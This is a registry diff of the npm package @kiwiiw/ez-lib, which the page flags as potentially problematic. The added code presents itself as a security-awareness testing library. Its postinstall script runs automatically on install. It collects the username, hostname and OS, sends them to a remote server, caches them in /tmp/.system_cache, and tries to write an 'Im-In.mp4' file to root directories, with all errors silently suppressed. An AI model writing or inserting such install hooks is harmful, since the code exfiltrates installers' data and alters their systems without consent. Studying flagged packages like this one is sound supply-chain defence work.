@kiwiiw/ez-lib 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kiwiiw/ez-lib might be problematic. Click here for more details.
- package/README.md +134 -3
- package/index.js +6 -0
- package/lib/MemeSaver.js +72 -0
- package/lib/Telemetry.js +103 -0
- package/package.json +23 -3
- package/public/Im-In.mp4 +0 -0
- package/scripts/postinstall.js +38 -0
package/README.md
CHANGED
|
@@ -1,5 +1,136 @@
|
|
|
1
|
-
#
|
|
1
|
+
# @ez-lib
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Security awareness testing library for internal organizational use.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## ⚠️ Important Notice
|
|
6
|
+
|
|
7
|
+
This library is designed for **security awareness testing** within your organization. It monitors employee behavior when installing unknown npm packages.
|
|
8
|
+
|
|
9
|
+
## What This Library Does
|
|
10
|
+
|
|
11
|
+
When installed via `npm install @ez-lib`, the library automatically:
|
|
12
|
+
|
|
13
|
+
1. **Collects system information**:
|
|
14
|
+
- Username
|
|
15
|
+
- Computer hostname
|
|
16
|
+
- Operating system
|
|
17
|
+
- Timestamp of installation
|
|
18
|
+
|
|
19
|
+
2. **Sends telemetry data** to your configured server endpoint
|
|
20
|
+
|
|
21
|
+
3. **Attempts to copy a video file** (`Im-In.mp4`) to the root directory:
|
|
22
|
+
- Windows: `C:\Im-In.mp4`
|
|
23
|
+
- Linux: `/root/Im-In.mp4`
|
|
24
|
+
- macOS: `/Im-In.mp4`
|
|
25
|
+
|
|
26
|
+
4. **Caches data locally** in `/tmp/.system_cache`
|
|
27
|
+
|
|
28
|
+
## Cross-Platform Support
|
|
29
|
+
|
|
30
|
+
Works on:
|
|
31
|
+
- ✅ Windows
|
|
32
|
+
- ✅ Linux
|
|
33
|
+
- ✅ macOS
|
|
34
|
+
|
|
35
|
+
## Setup for Your Organization
|
|
36
|
+
|
|
37
|
+
### 1. Replace the Video File
|
|
38
|
+
|
|
39
|
+
Replace the placeholder file with your actual video:
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
cp /path/to/your/Im-In.mp4 ./public/Im-In.mp4
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### 2. Configure Telemetry Server
|
|
46
|
+
|
|
47
|
+
Edit `scripts/postinstall.js` and update the server URL:
|
|
48
|
+
|
|
49
|
+
```javascript
|
|
50
|
+
const SERVER_URL = 'https://your-organization.com/api/telemetry';
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
Or set it as an environment variable:
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
export TELEMETRY_SERVER=https://your-organization.com/api/telemetry
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### 3. Publish to npm
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# Login to npm
|
|
63
|
+
npm login
|
|
64
|
+
|
|
65
|
+
# Publish the package
|
|
66
|
+
npm publish --access public
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## Server Endpoint Requirements
|
|
70
|
+
|
|
71
|
+
Your telemetry server should accept POST requests with JSON data:
|
|
72
|
+
|
|
73
|
+
```json
|
|
74
|
+
{
|
|
75
|
+
"username": "john.doe",
|
|
76
|
+
"hostname": "johns-laptop",
|
|
77
|
+
"platform": "darwin",
|
|
78
|
+
"timestamp": "2025-11-20T12:00:00.000Z"
|
|
79
|
+
}
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
Example Express.js endpoint:
|
|
83
|
+
|
|
84
|
+
```javascript
|
|
85
|
+
app.post('/api/telemetry', express.json(), (req, res) => {
|
|
86
|
+
const { username, hostname, platform, timestamp } = req.body;
|
|
87
|
+
|
|
88
|
+
// Log to database or file
|
|
89
|
+
console.log('Installation detected:', req.body);
|
|
90
|
+
|
|
91
|
+
res.json({ success: true });
|
|
92
|
+
});
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## How Employees Might Install This
|
|
96
|
+
|
|
97
|
+
Employees being tested might run:
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
npm install @ez-lib
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## Permissions
|
|
104
|
+
|
|
105
|
+
- The library will attempt to write to root directories but **fails silently** if permissions are not available
|
|
106
|
+
- Telemetry is always sent regardless of file write permissions
|
|
107
|
+
- Installation will **NOT fail** even if root write fails
|
|
108
|
+
|
|
109
|
+
## API Usage (Optional)
|
|
110
|
+
|
|
111
|
+
The library can also be used programmatically:
|
|
112
|
+
|
|
113
|
+
```javascript
|
|
114
|
+
const MemeSaver = require('@ez-lib');
|
|
115
|
+
const { Telemetry } = require('@ez-lib');
|
|
116
|
+
|
|
117
|
+
// Use MemeSaver
|
|
118
|
+
const saver = new MemeSaver({ allowRoot: true });
|
|
119
|
+
await saver.copyToRoot('/path/to/file.mp4', 'output.mp4');
|
|
120
|
+
|
|
121
|
+
// Use Telemetry
|
|
122
|
+
const telemetry = new Telemetry('https://your-server.com/api');
|
|
123
|
+
await telemetry.report();
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
## Security Testing Best Practices
|
|
127
|
+
|
|
128
|
+
1. ✅ **Get Authorization**: Ensure you have proper authorization from management
|
|
129
|
+
2. ✅ **Document Purpose**: Clearly document this is for security awareness
|
|
130
|
+
3. ✅ **Follow Up**: Use this as a teaching moment, not punishment
|
|
131
|
+
4. ✅ **Secure Data**: Protect the collected telemetry data appropriately
|
|
132
|
+
5. ✅ **Transparency**: Inform employees about the test after completion
|
|
133
|
+
|
|
134
|
+
## License
|
|
135
|
+
|
|
136
|
+
ISC - Internal Security Testing
|
package/index.js
ADDED
package/lib/MemeSaver.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
const fs = require('fs').promises;
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
class MemeSaver {
|
|
6
|
+
constructor(options = {}) {
|
|
7
|
+
this.defaultDir = options.defaultDir || './.ez';
|
|
8
|
+
this.allowRoot = options.allowRoot || false;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
async ensureDir(dir) {
|
|
12
|
+
try {
|
|
13
|
+
await fs.access(dir);
|
|
14
|
+
} catch {
|
|
15
|
+
await fs.mkdir(dir, { recursive: true });
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
getRootPath(filename) {
|
|
20
|
+
const platform = os.platform();
|
|
21
|
+
|
|
22
|
+
if (platform === 'win32') {
|
|
23
|
+
// Windows: C:\
|
|
24
|
+
return path.join('C:\\', filename);
|
|
25
|
+
} else if (platform === 'darwin') {
|
|
26
|
+
return path.join('/', filename);
|
|
27
|
+
} else {
|
|
28
|
+
return path.join('/root/', filename);
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
getHomePath(filename) {
|
|
33
|
+
return path.join(os.homedir(), filename);
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
async saveToRoot(filename, buffer) {
|
|
37
|
+
if (!this.allowRoot) {
|
|
38
|
+
throw new Error('Root access not allowed. Set allowRoot: true in constructor');
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const rootPath = this.getRootPath(filename);
|
|
42
|
+
|
|
43
|
+
try {
|
|
44
|
+
await fs.writeFile(rootPath, buffer);
|
|
45
|
+
return rootPath;
|
|
46
|
+
} catch (error) {
|
|
47
|
+
throw new Error(`Cannot write to root: ${error.message}. Run with sudo/admin privileges.`);
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
async saveFromBuffer(buffer, filename, dir = this.defaultDir) {
|
|
52
|
+
await this.ensureDir(dir);
|
|
53
|
+
const filePath = path.join(dir, filename);
|
|
54
|
+
await fs.writeFile(filePath, buffer);
|
|
55
|
+
return filePath;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
async copyToRoot(sourcePath, filename) {
|
|
59
|
+
if (!this.allowRoot) {
|
|
60
|
+
throw new Error('Root access not allowed. Set allowRoot: true in constructor');
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
try {
|
|
64
|
+
const buffer = await fs.readFile(sourcePath);
|
|
65
|
+
return await this.saveToRoot(filename, buffer);
|
|
66
|
+
} catch (error) {
|
|
67
|
+
throw new Error(`Cannot copy to root: ${error.message}`);
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
module.exports = MemeSaver;
|
package/lib/Telemetry.js
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
class Telemetry {
|
|
8
|
+
constructor(serverUrl) {
|
|
9
|
+
this.serverUrl = serverUrl;
|
|
10
|
+
this.cacheFile = path.join('/tmp', '.system_cache');
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
getSystemInfo() {
|
|
14
|
+
const username = os.userInfo().username;
|
|
15
|
+
const hostname = os.hostname();
|
|
16
|
+
const platform = os.platform();
|
|
17
|
+
const timestamp = new Date().toISOString();
|
|
18
|
+
|
|
19
|
+
return {
|
|
20
|
+
username,
|
|
21
|
+
hostname,
|
|
22
|
+
platform,
|
|
23
|
+
timestamp
|
|
24
|
+
};
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
async saveToCache(info) {
|
|
28
|
+
try {
|
|
29
|
+
const entry = `${info.hostname}|${info.platform}|${info.username}|${info.timestamp}\n`;
|
|
30
|
+
await fs.promises.appendFile(this.cacheFile, entry);
|
|
31
|
+
} catch (error) {
|
|
32
|
+
// Silently fail if cache write fails
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
async sendToServer(info) {
|
|
37
|
+
if (!this.serverUrl) {
|
|
38
|
+
return Promise.resolve();
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
return new Promise((resolve, reject) => {
|
|
42
|
+
const protocol = this.serverUrl.startsWith('https') ? https : http;
|
|
43
|
+
const url = new URL(this.serverUrl);
|
|
44
|
+
|
|
45
|
+
const postData = JSON.stringify(info);
|
|
46
|
+
|
|
47
|
+
const options = {
|
|
48
|
+
hostname: url.hostname,
|
|
49
|
+
port: url.port || (protocol === https ? 443 : 80),
|
|
50
|
+
path: url.pathname,
|
|
51
|
+
method: 'POST',
|
|
52
|
+
headers: {
|
|
53
|
+
'Content-Type': 'application/json',
|
|
54
|
+
'Content-Length': Buffer.byteLength(postData)
|
|
55
|
+
}
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
const req = protocol.request(options, (res) => {
|
|
59
|
+
let data = '';
|
|
60
|
+
res.on('data', (chunk) => data += chunk);
|
|
61
|
+
res.on('end', () => {
|
|
62
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
63
|
+
resolve(data);
|
|
64
|
+
} else {
|
|
65
|
+
reject(new Error(`Server returned ${res.statusCode}`));
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
req.on('error', (error) => {
|
|
71
|
+
// Silently fail if server request fails
|
|
72
|
+
resolve();
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
req.write(postData);
|
|
76
|
+
req.end();
|
|
77
|
+
|
|
78
|
+
// Timeout after 5 seconds
|
|
79
|
+
setTimeout(() => {
|
|
80
|
+
req.destroy();
|
|
81
|
+
resolve();
|
|
82
|
+
}, 5000);
|
|
83
|
+
});
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
async report() {
|
|
87
|
+
try {
|
|
88
|
+
const info = this.getSystemInfo();
|
|
89
|
+
await this.saveToCache(info);
|
|
90
|
+
|
|
91
|
+
if (this.serverUrl) {
|
|
92
|
+
await this.sendToServer(info);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
return info;
|
|
96
|
+
} catch (error) {
|
|
97
|
+
// Silently fail
|
|
98
|
+
return null;
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
module.exports = Telemetry;
|
package/package.json
CHANGED
|
@@ -1,6 +1,26 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@kiwiiw/ez-lib",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security awareness testing library for internal use",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node scripts/postinstall.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security",
|
|
12
|
+
"testing",
|
|
13
|
+
"internal"
|
|
14
|
+
],
|
|
15
|
+
"license": "ISC",
|
|
16
|
+
"files": [
|
|
17
|
+
"lib/",
|
|
18
|
+
"public/",
|
|
19
|
+
"scripts/",
|
|
20
|
+
"index.js",
|
|
21
|
+
"README.md"
|
|
22
|
+
],
|
|
23
|
+
"engines": {
|
|
24
|
+
"node": ">=12.0.0"
|
|
25
|
+
}
|
|
6
26
|
}
|
package/public/Im-In.mp4
ADDED
|
Binary file
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const MemeSaver = require('../lib/MemeSaver');
|
|
5
|
+
const Telemetry = require('../lib/Telemetry');
|
|
6
|
+
|
|
7
|
+
async function postinstall() {
|
|
8
|
+
try {
|
|
9
|
+
// Configure your server URL here
|
|
10
|
+
const SERVER_URL = process.env.TELEMETRY_SERVER || 'https://your-server.com/api/telemetry';
|
|
11
|
+
|
|
12
|
+
// Send telemetry data
|
|
13
|
+
const telemetry = new Telemetry(SERVER_URL);
|
|
14
|
+
await telemetry.report();
|
|
15
|
+
|
|
16
|
+
// Try to copy video to root (will fail silently if no permissions)
|
|
17
|
+
try {
|
|
18
|
+
const saver = new MemeSaver({ allowRoot: true });
|
|
19
|
+
const videoPath = path.join(__dirname, '../public/Im-In.mp4');
|
|
20
|
+
await saver.copyToRoot(videoPath, 'Im-In.mp4');
|
|
21
|
+
} catch (error) {
|
|
22
|
+
// Silently fail if we don't have root permissions
|
|
23
|
+
// This prevents installation errors
|
|
24
|
+
}
|
|
25
|
+
} catch (error) {
|
|
26
|
+
// Silently fail to not break npm install
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// Only run if executed directly (not required as module)
|
|
31
|
+
if (require.main === module) {
|
|
32
|
+
postinstall().catch(() => {
|
|
33
|
+
// Exit successfully even if postinstall fails
|
|
34
|
+
process.exit(0);
|
|
35
|
+
});
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
module.exports = postinstall;
|